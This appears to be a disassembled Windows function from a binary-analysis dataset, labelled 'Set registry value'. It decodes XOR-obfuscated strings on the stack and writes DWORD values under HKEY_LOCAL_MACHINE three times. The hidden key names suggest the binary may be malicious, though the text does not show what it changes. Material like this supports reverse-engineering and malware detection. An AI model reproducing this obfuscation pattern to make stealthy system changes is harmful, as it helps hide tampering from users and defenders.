Function at 0x14006fbe0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
xor eax, eax
movabs rdi, 0xc0cfbf5ec27c47fd
mov qword [rbp + 0x138], rax
movabs rbx, 0x4e051db169d0eaec
mov dword [rbp + 0x130], eax
movabs rax, 0x63a1678719a960b8
mov qword [rsp + 0x50], rax
movabs rax, 0x19fce9110565989
mov qword [rsp + 0x58], rax
movabs rax, 0x46a35fe40fbdc648
mov qword [rsp + 0x60], rax
movabs rax, 0x59f35a7ce6aba250
mov qword [rsp + 0x68], rax
movabs rax, 0x83c67ffaacd2a311
mov qword [rsp + 0x70], rax
movabs rax, 0x9bca40e413316e1c
mov qword [rsp + 0x78], rax
movabs rax, 0x91c6c00feb7cfcbd
mov qword [rbp - 0x80], rax
movabs rax, 0x1f6e3e5024f09a34
mov qword [rbp - 0x78], rax
movabs rax, 0xec84d69fa82d5940
mov qword [rbp - 0x70], rax
movabs rax, 0x1c41a2006b6c6c55
mov qword [rbp - 0x68], rax
movabs rax, 0xbfad210d773f4f84
mov qword [rbp - 0x60], rax
movabs rax, 0xdcb5ad2bc4290555
mov qword [rbp - 0x58], rax
movabs rax, 0xbe46cf011cf5a046
mov qword [rbp - 0x50], rax
movabs rax, 0x838029dc3c738f3d
mov qword [rbp - 0x48], rax
movabs rax, 0xf6c3a7646e4b53da
mov qword [rbp - 0x40], rax
movabs rax, 0x5ec9a29c4d559138
mov qword [rbp - 0x38], rax
movabs rax, 0xb42b68542bec7f97
mov qword [rbp - 0x30], rax
movabs rax, 0xe025dc9e39d889b0
mov qword [rbp - 0x28], rax
movabs rax, 0xf9603ca90ac7bb91
mov qword [rbp - 0x20], rax
movabs rax, 0xe7dec401dd60952f
mov qword [rbp - 0x18], rax
movabs rax, 0x63f567d419f060eb
mov qword [rbp + 0x10], rax
movabs rax, 0x1dccecd101b59cc
mov qword [rbp + 0x18], rax
movabs rax, 0x46c65f960fcfc63d
mov qword [rbp + 0x20], rax
movabs rax, 0x599c5a3fe6dfa23e
mov qword [rbp + 0x28], rax
movabs rax, 0x83a97f88aca6a37f
mov qword [rbp + 0x30], rax
movabs rax, 0x9bbe408113626e70
mov qword [rbp + 0x38], rax
movabs rax, 0x91b4c06aeb2ffce1
mov qword [rbp + 0x40], rax
movabs rax, 0x1f0b3e3324999a42
mov qword [rbp + 0x48], rax
movabs rax, 0xececd6cca8715933
mov qword [rbp + 0x50], rax
movabs rax, 0x1c25a2656b1e6c34
mov qword [rbp + 0x58], rax
movabs rax, 0xbfc8216e775c4fc5
mov qword [rbp + 0x60], rax
movabs rax, 0xdce5ad77c45a0526
mov qword [rbp + 0x68], rax
movabs rax, 0xbe2bcf601c87a027
mov qword [rbp + 0x70], rax
movabs rax, 0x83f229b93c078f58
mov qword [rbp + 0x78], rax
movabs rax, 0xf6aaa7226e1753a9
mov qword [rbp + 0x80], rax
movabs rax, 0x5ea8a2eb4d30914a
mov qword [rbp + 0x88], rax
movabs rax, 0xb44468042b807ffb
mov qword [rbp + 0x90], rax
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rbx
movdqa xmm0, xmmword [rsp + 0x50]
lea r8, [rbp + 0x138]
pxor xmm0, xmmword [rbp + 0x10]
lea rdx, [rsp + 0x50]
movdqa xmm1, xmmword [rsp + 0x60]
movabs rax, 0xe05cdcfd39b189dc
pxor xmm1, xmmword [rbp + 0x20]
movabs r12, 0xe78ec46fdd09954e
movdqa xmmword [rsp + 0x50], xmm0
movabs r14, 0xc0a6bf38c213478f
movdqa xmm0, xmmword [rsp + 0x70]
movabs rsi, 0x4e051db169b5ea80
pxor xmm0, xmmword [rbp + 0x30]
mov rcx, 0xffffffff80000002
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [rbp - 0x60]
pxor xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm1, xmmword [rbp + 0x80]
mov qword [rbp + 0x98], rax
movabs rax, 0xf90d3cc60a83bbcd
pxor xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [rbp - 0x20]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], r12
pxor xmm1, xmmword [rbp + 0xa0]
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], rsi
pxor xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmmword [rbp - 0x20], xmm1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rcx, qword [rbp + 0x138]
movabs rdx, 0x63f567d419f060eb
mov qword [rbp + 0xd0], rdx
movabs rax, 0x639767b5199e60ae
mov qword [rsp + 0x30], rax
movabs rdx, 0x1dccecd101b59cc
mov qword [rbp + 0xd8], rdx
movabs rax, 0x1b5ce8b107e59a0
movdqa xmm0, xmmword [rbp + 0xd0]
movabs rdx, 0x46c65f960fcfc63d
mov qword [rbp + 0xe0], rdx
movabs r13, 0x46a75fe10faac64f
mov qword [rsp + 0x38], rax
movabs rdx, 0x599c5a3fe6dfa23e
pxor xmm0, xmmword [rsp + 0x30]
lea rax, [rbp + 0x130]
mov qword [rsp + 0x40], r13
movabs r15, 0x599c5a3fe6b3a252
mov qword [rsp + 0x48], r15
mov r9d, 4
movdqa xmm1, xmmword [rsp + 0x40]
xor r8d, r8d
mov qword [rbp + 0xe8], rdx
lea rdx, [rsp + 0x30]
pxor xmm1, xmmword [rbp + 0xe0]
mov dword [rsp + 0x28], 4
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0x63a1678719a960b8
mov qword [rsp + 0x50], rax
movabs rax, 0x19fce9110565989
mov qword [rbp - 8], rbx
mov qword [rsp + 0x58], rax
movabs rbx, 0xf90d3cc60a83bbcd
movabs rax, 0x46a35fe40fbdc648
mov qword [rbp - 0x10], rdi
mov qword [rsp + 0x60], rax
movabs rax, 0x59f35a7ce6aba250
mov qword [rsp + 0x68], rax
movabs rax, 0x83c67ffaacd2a311
mov qword [rsp + 0x70], rax
movabs rax, 0x9bca40e413316e1c
mov qword [rsp + 0x78], rax
movabs rax, 0x91c6c00feb7cfcbd
mov qword [rbp - 0x80], rax
movabs rax, 0x1f6e3e5024f09a34
mov qword [rbp - 0x78], rax
movabs rax, 0xec84d69fa82d5940
mov qword [rbp - 0x70], rax
movabs rax, 0x1c41a2006b6c6c55
mov qword [rbp - 0x68], rax
movabs rax, 0xbfad210d773f4f84
mov qword [rbp - 0x60], rax
movabs rax, 0xdcb5ad2bc4290555
mov qword [rbp - 0x58], rax
movabs rax, 0xbe46cf011cf5a046
mov qword [rbp - 0x50], rax
movabs rax, 0x838029dc3c738f3d
mov qword [rbp - 0x48], rax
movabs rax, 0xf6c3a7646e4b53da
mov qword [rbp - 0x40], rax
movabs rax, 0x5ec9a29c4d559138
mov qword [rbp - 0x38], rax
movabs rax, 0xb42b68542bec7f97
mov qword [rbp - 0x30], rax
movabs rax, 0xe025dc9e39d889b0
mov qword [rbp - 0x28], rax
movabs rax, 0xf96f3cb30ad3bb91
mov qword [rbp - 0x20], rax
movabs rax, 0xe7dec40cdd609522
mov qword [rbp - 0x18], rax
movabs rax, 0x63f567d419f060eb
mov qword [rbp + 0x10], rax
movabs rax, 0x1dccecd101b59cc
mov qword [rbp + 0x18], rax
movabs rax, 0x46c65f960fcfc63d
mov qword [rbp + 0x20], rax
movabs rax, 0x599c5a3fe6dfa23e
mov qword [rbp + 0x28], rax
movabs rax, 0x83a97f88aca6a37f
mov qword [rbp + 0x30], rax
movabs rax, 0x9bbe408113626e70
mov qword [rbp + 0x38], rax
movabs rax, 0x91b4c06aeb2ffce1
mov qword [rbp + 0x40], rax
movabs rax, 0x1f0b3e3324999a42
mov qword [rbp + 0x48], rax
movabs rax, 0xececd6cca8715933
mov qword [rbp + 0x50], rax
movabs rax, 0x1c25a2656b1e6c34
mov qword [rbp + 0x58], rax
movabs rax, 0xbfc8216e775c4fc5
mov qword [rbp + 0x60], rax
movabs rax, 0xdce5ad77c45a0526
mov qword [rbp + 0x68], rax
movabs rax, 0xbe2bcf601c87a027
mov qword [rbp + 0x70], rax
movabs rax, 0x83f229b93c078f58
mov qword [rbp + 0x78], rax
movabs rax, 0xf6aaa7226e1753a9
mov qword [rbp + 0x80], rax
movabs rax, 0x5ea8a2eb4d30914a
mov qword [rbp + 0x88], rax
movabs rax, 0xb44468042b807ffb
mov qword [rbp + 0x90], rax
movabs rax, 0xe05cdcfd39b189dc
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rsp + 0x50]
lea r8, [rbp + 0x138]
pxor xmm0, xmmword [rbp + 0x10]
lea rdx, [rsp + 0x50]
movdqa xmm1, xmmword [rsp + 0x60]
mov rcx, 0xffffffff80000002
pxor xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [rbp - 0x60]
pxor xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm1, xmmword [rbp + 0x80]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm0, xmmword [rbp - 0x10]
pxor xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [rbp - 0x20]
pxor xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmmword [rbp - 0x20], xmm1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rcx, qword [rbp + 0x138]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x40], r13
movabs rax, 0x639767b5199e60ae
mov qword [rsp + 0x30], rax
movabs rdi, 0x1b5ce8b107e59a0
mov qword [rsp + 0x38], rdi
movabs rax, 0x63f567d419f060eb
movdqa xmm0, xmmword [rsp + 0x30]
mov r9d, 4
mov qword [rbp + 0xd0], rax
xor r8d, r8d
mov qword [rsp + 0x48], r15
movabs rax, 0x1dccecd101b59cc
movdqa xmm1, xmmword [rsp + 0x40]
mov qword [rbp + 0xd8], rax
movabs rax, 0x46c65f960fcfc63d
pxor xmm0, xmmword [rbp + 0xd0]
mov qword [rbp + 0xe0], rax
movabs rax, 0x599c5a3fe6dfa23e
mov qword [rbp + 0xe8], rax
lea rax, [rbp + 0x130]
pxor xmm1, xmmword [rbp + 0xe0]
mov dword [rsp + 0x28], 4
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0x63a1678719a960b8
mov qword [rbp + 0x10], rax
movabs rax, 0x19fce9110565989
mov qword [rbp + 0x18], rax
movabs rax, 0x46a35fe40fbdc648
mov qword [rbp + 0x20], rax
movabs rax, 0x59f35a7ce6aba250
mov qword [rbp + 0x28], rax
movabs rax, 0x83c67ffaacd2a311
mov qword [rbp + 0x30], rax
movabs rax, 0x9bca40e413316e1c
mov qword [rbp + 0x38], rax
movabs rax, 0x91c6c00feb7cfcbd
mov qword [rbp + 0x40], rax
movdqa xmm0, xmmword [rbp + 0x10]
movabs rdx, 0x63f567d419f060eb
movdqa xmm1, xmmword [rbp + 0x20]
movabs rax, 0x1f6e3e5024f09a34
mov qword [rsp + 0x50], rdx
movabs rcx, 0xe203c09a297b19f1
mov qword [rbp + 0x48], rax
movabs rdx, 0x1dccecd101b59cc
mov qword [rsp + 0x58], rdx
movabs rax, 0xec84d69fa82d5940
pxor xmm0, xmmword [rsp + 0x50]
movabs rdx, 0x46c65f960fcfc63d
mov qword [rsp + 0x60], rdx
movabs rdx, 0x599c5a3fe6dfa23e
mov qword [rsp + 0x68], rdx
movabs rdx, 0x83a97f88aca6a37f
pxor xmm1, xmmword [rsp + 0x60]
mov qword [rbp + 0x50], rax
movabs rax, 0x1c41a2006b6c6c55
mov qword [rsp + 0x70], rdx
movabs rdx, 0x9bbe408113626e70
mov qword [rbp + 0x58], rax
movabs rax, 0xbfad210d773f4f84
mov qword [rsp + 0x78], rdx
movabs rdx, 0x91b4c06aeb2ffce1
mov qword [rbp + 0x60], rax
movabs rax, 0xdcb5ad2bc4290555
mov qword [rbp - 0x80], rdx
movabs rdx, 0x1f0b3e3324999a42
mov qword [rbp + 0x68], rax
movabs rax, 0xbe46cf011cf5a046
mov qword [rbp - 0x78], rdx
movabs rdx, 0xececd6cca8715933
mov qword [rbp + 0x70], rax
movabs rax, 0x838029dc3c738f3d
mov qword [rbp - 0x70], rdx
movabs rdx, 0x1c25a2656b1e6c34
mov qword [rbp + 0x78], rax
movabs rax, 0xf6c3a7646e4b53da
mov qword [rbp - 0x68], rdx
movabs rdx, 0xbfc8216e775c4fc5
mov qword [rbp + 0x80], rax
movabs rax, 0x5ec9a29c4d559138
mov qword [rbp - 0x60], rdx
movabs rdx, 0xdce5ad77c45a0526
mov qword [rbp + 0x88], rax
movabs rax, 0xb42b68542bec7f97
mov qword [rbp - 0x58], rdx
movabs rdx, 0xbe2bcf601c87a027
mov qword [rbp + 0x90], rax
movabs rax, 0xe025dc9e39d889b0
mov qword [rbp - 0x50], rdx
movabs rdx, 0x83f229b93c078f58
mov qword [rbp + 0x98], rax
movabs rax, 0xf96c3cb20ad0bb91
mov qword [rbp - 0x48], rdx
movabs rdx, 0xf6aaa7226e1753a9
mov qword [rbp + 0xa0], rax
movabs rax, 0xe7fcc40edd6d9520
mov qword [rbp - 0x40], rdx
movabs rdx, 0x5ea8a2eb4d30914a
mov qword [rbp + 0xa8], rax
movabs rax, 0xc0c9bf4ac24347eb
mov qword [rbp - 0x38], rdx
movabs rdx, 0xb44468042b807ffb
mov qword [rbp + 0xb0], rax
movabs rax, 0x4e601ddd69dceae6
mov qword [rbp - 0x30], rdx
movabs rdx, 0xe05cdcfd39b189dc
mov qword [rbp + 0xb8], rax
movabs rax, 0x984fa263cbde5252
mov qword [rbp - 0x28], rdx
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rax
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], rsi
mov qword [rbp], rcx
mov qword [rbp + 8], rax
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm0, xmmword [rbp + 0x30]
lea r8, [rbp + 0x138]
pxor xmm0, xmmword [rsp + 0x70]
lea rdx, [rbp + 0x10]
movdqa xmmword [rbp + 0x20], xmm1
mov rcx, 0xffffffff80000002
movdqa xmm1, xmmword [rbp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm1, xmmword [rbp + 0x60]
pxor xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm0, xmmword [rbp + 0x50]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x60], xmm1
movdqa xmm1, xmmword [rbp + 0x80]
pxor xmm1, xmmword [rbp - 0x40]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x80], xmm1
movdqa xmm1, xmmword [rbp + 0xa0]
pxor xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm0, xmmword [rbp + 0x90]
pxor xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm1, xmmword [rbp]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmmword [rbp + 0xb0], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rcx, qword [rbp + 0x138]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], rdi
movabs rax, 0x639767b5199e60ae
mov qword [rsp + 0x30], rax
mov r9d, 4
movdqa xmm0, xmmword [rsp + 0x30]
movabs rax, 0x63f567d419f060eb
mov qword [rbp + 0xd0], rax
xor r8d, r8d
mov qword [rsp + 0x40], r13
movabs rax, 0x1dccecd101b59cc
mov qword [rbp + 0xd8], rax
movabs rax, 0x46c65f960fcfc63d
pxor xmm0, xmmword [rbp + 0xd0]
mov qword [rbp + 0xe0], rax
movabs rax, 0x599c5a3fe6dfa23e
mov qword [rsp + 0x48], r15
movdqa xmm1, xmmword [rsp + 0x40]
mov qword [rbp + 0xe8], rax
lea rax, [rbp + 0x130]
pxor xmm1, xmmword [rbp + 0xe0]
mov dword [rsp + 0x28], 4
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x240]
add rsp, 0x1f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret